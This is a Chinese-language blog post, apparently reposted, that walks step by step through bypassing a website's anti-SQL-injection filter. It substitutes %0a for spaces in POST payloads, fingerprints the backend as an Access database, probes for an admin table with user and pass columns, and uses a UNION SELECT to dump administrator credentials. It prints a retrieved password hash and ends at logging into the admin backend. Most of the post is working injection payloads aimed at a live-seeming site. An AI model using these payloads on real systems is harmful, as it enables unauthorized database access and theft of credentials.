SQL绕过实例
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL绕过实例相关的知识,希望对你有一定的参考价值。
简单判断是否存在注入
发现有防注入系统,在网站地址后加入“-0”和“/”进行测试
明显存在SQL注入。
post提交无法绕过
在Post data中输入and 1=1 和and 1=2,勾选“Enable Post data”,单击“Execute”进行测试,如图所示,结果无任何变化,说明直接post提交无法绕过。
使用%09(也就是tab键)可以绕过,经过测试还是不行,如图所示,用%0a(换行符)替换下空格成功绕过
通过and (select count(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出错信息来判断网站采用的数据库类型。若数据库是SQL-SERVE,则第一条,网页一定运行正常,第二条则异常;若是ACCESS则两条都会异常。在POST中通过依次提交:
and%0a(select%0acount(*)%0afrom%0asysobjects)>0
and%0a(select%0acount(*)%0afrom%0amsysobjects)>0
其结果显示“目前还没有内容!”实际内容应该是id=1158的内容,两条语句执行的结果均为异常,说明为access数据库。
通过order by判断列名
判断是否存在admin表
and (select count(*) from admin)>0
and%0a(select%0acount(*)%0afrom%0aadmin)>0
判断是否存在user以及pass字段
and %0a (select%0acount(user) %0afrom%0aadmin)>0
and%0a (select%0acount(pass) %0afrom%0aadmin)>0
获取管理员密码
id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,获取admin-dh用户的密码“5ed9ff1d48e059b50db232f497b35b45”
id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,获取id为1的用户密码
登录后台
以上是关于SQL绕过实例的主要内容,如果未能解决你的问题,请参考以下文章
2020上半年第18天第19天第20天合集(上传-实例测试上传-WAF绕过XSS跨站-原理分析))小迪网络安全笔记
Python 爬虫篇 - 通过urllib.request伪装成浏览器绕过反爬虫爬取网页所有连接实例演示,urllib2库的安装